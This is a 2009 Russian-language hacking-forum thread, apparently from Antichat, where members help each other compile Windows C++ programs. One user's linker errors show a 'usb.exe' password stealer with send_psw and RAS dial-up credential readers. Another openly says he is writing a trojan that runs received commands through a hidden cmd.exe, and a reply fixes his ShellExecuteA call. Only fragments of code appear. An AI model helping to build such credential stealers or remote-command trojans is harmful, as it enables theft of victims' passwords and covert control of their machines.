
09.02.2009, 11:30
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
С нами:
9149599
Репутация:
6
|
|
Сообщение от St0nX
я же в коментах написал что типа HMODULE
lib = GetModuleHandle(TEXT("kernel32.dll"));//lib типа HMODULE
Все зделал , но не хочет компилица =(
Код:
1>main.obj : error LNK2019: unresolved external symbol _send@16 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _closesocket@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _connect@12 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _inet_addr@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _htons@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _socket@12 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _inet_ntoa@4 referenced in function "int __stdcall GetIpByHostName(char *,char *,unsigned long)" (?GetIpByHostName@@YGHPAD0K@Z)
1>main.obj : error LNK2019: unresolved external symbol _gethostbyname@4 referenced in function "int __stdcall GetIpByHostName(char *,char *,unsigned long)" (?GetIpByHostName@@YGHPAD0K@Z)
1>main.obj : error LNK2019: unresolved external symbol _WSAStartup@8 referenced in function "int __cdecl send_psw(void)" (?send_psw@@YAHXZ)
1>main.obj : error LNK2019: unresolved external symbol _RasEnumConnectionsA@12 referenced in function "bool __cdecl IsInternetConnected(void)" (?IsInternetConnected@@YA_NXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasEnumEntriesA@20 referenced in function "protected: unsigned long __fastcall TRASReader::GetRasEntryCount(void)" (?GetRasEntryCount@TRASReader@@IAIKXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryPropertiesA@24 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryDialParamsA@12 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>Release\usb.exe : fatal error LNK1120: 13 unresolved externals
|
|
|

09.02.2009, 11:39
|
|
Участник форума
Регистрация: 19.05.2007
Сообщений: 281
С нами:
9989619
Репутация:
106
|
|
#pragma comment(lib,"ws2_32.lib")
добавь в начало еще.
эт тож сразу забыл сказать
#pragma comment(lib, "rasapi32")
Последний раз редактировалось St0nX; 09.02.2009 в 11:47..
|
|
|

09.02.2009, 11:42
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
С нами:
9149599
Репутация:
6
|
|
Сообщение от St0nX
#pragma comment(lib,"ws2_32.lib")
добавь в начало еще.
Блогадарю , помогло ... теперь количество ошибок уменьшилось ...
Код:
1>main.obj : error LNK2019: unresolved external symbol _RasEnumConnectionsA@12 referenced in function "bool __cdecl IsInternetConnected(void)" (?IsInternetConnected@@YA_NXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasEnumEntriesA@20 referenced in function "protected: unsigned long __fastcall TRASReader::GetRasEntryCount(void)" (?GetRasEntryCount@TRASReader@@IAIKXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryPropertiesA@24 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryDialParamsA@12 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>Release\usb.exe : fatal error LNK1120: 4 unresolved externals
Вот какие ошибке остались ...
|
|
|

09.02.2009, 13:09
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
С нами:
10535289
Репутация:
107
|
|
Сообщение от Fl0dER
Блогадарю , помогло ... теперь количество ошибок уменьшилось ...
Код:
1>main.obj : error LNK2019: unresolved external symbol _RasEnumConnectionsA@12 referenced in function "bool __cdecl IsInternetConnected(void)" (?IsInternetConnected@@YA_NXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasEnumEntriesA@20 referenced in function "protected: unsigned long __fastcall TRASReader::GetRasEntryCount(void)" (?GetRasEntryCount@TRASReader@@IAIKXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryPropertiesA@24 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryDialParamsA@12 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>Release\usb.exe : fatal error LNK1120: 4 unresolved externals
Вот какие ошибке остались ...
Когда возникают подобные проблемы ,то копируем название ф-ции на которую ругается линковщик и иде на msdn.microsoft.com/en-us/default.aspx Там вбиваем его в поиск и по его результатам становится видно какую либу нужно подключать.
|
|
|

09.02.2009, 19:51
|
|
Познающий
Регистрация: 22.01.2007
Сообщений: 40
С нами:
10157510
Репутация:
4
|
|
Пробую писать троя )). Приходит строка на сервер. Пытаюсь обработать с помощью ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_HIDE). Выдаёт ошибку error C2664: 'ShellExecuteW' : cannot convert parameter 2 from 'const char [5]' to 'LPCWSTR'. И ещё мне нужно назад послать вывод cmd клиенту. Кроме как записать в файл, потом копировать с него в буфер и отправлять ничё больше не умею. Ну типа system(ipconfig > 1). Но это ламерский способ 
Последний раз редактировалось 4y4o; 09.02.2009 в 19:54..
|
|
|

09.02.2009, 20:32
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
С нами:
9443906
Репутация:
3313
|
|
Сообщение от 4y4o
Пробую писать троя )). Приходит строка на сервер. Пытаюсь обработать с помощью ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_HIDE). Выдаёт ошибку error C2664: 'ShellExecuteW' : cannot convert parameter 2 from 'const char [5]' to 'LPCWSTR'. И ещё мне нужно назад послать вывод cmd клиенту. Кроме как записать в файл, потом копировать с него в буфер и отправлять ничё больше не умею. Ну типа system(ipconfig > 1). Но это ламерский способ 
PHP код:
ShellExecuteA(NULL, L"open", "cmd.exe", buf_command, NULL, SW_HIDE)
Или
PHP код:
ShellExecuteA(NULL, TEXT("open"), "cmd.exe", buf_command, NULL, SW_HIDE)
|
|
|

09.02.2009, 11:53
|
|
Постоянный
Регистрация: 25.05.2007
Сообщений: 448
С нами:
9981026
Репутация:
1564
|
|
2 Fl0dER: либу Rasapi32.lib подключите еще
|
|
|

09.02.2009, 21:17
|
|
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами:
9423746
Репутация:
2399
|
|
|
|
|

09.02.2009, 22:12
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
С нами:
9149599
Репутация:
6
|
|
У меня вопрос
Каким оброзом можно совершить проверку на возможность записи на диск ?
Или как отлючит в VC++ показ ошибок , о том что невозможно произвести запись ...
У меня есть mp3 плеер при подключении его по usb кабелю появляются 2 сьемных диска, один из каторых внутрения память , а другой подключенная к нему карта памяти ( а так как ее нет в плеере , хоть она и появляется в системе в виде 2 сьемного диска) невозможно открыть и записать на этот якобы сьемный диск , при попытке записи появляется ошибка с заголовком Windows - Диск Отсутствует , так вот мне и надо зделать проверку на возможность записи на какой либо диск ...
Последний раз редактировалось Fl0dER; 09.02.2009 в 22:20..
|
|
|

09.02.2009, 22:31
|
|
Участник форума
Регистрация: 19.05.2007
Сообщений: 281
С нами:
9989619
Репутация:
106
|
|
Пробуй CreateFile создавать файл если ничего не выйдет то значит запись запрещена или что то такое.(-1 возвр при неудачном создании)
Последний раз редактировалось St0nX; 09.02.2009 в 22:36..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|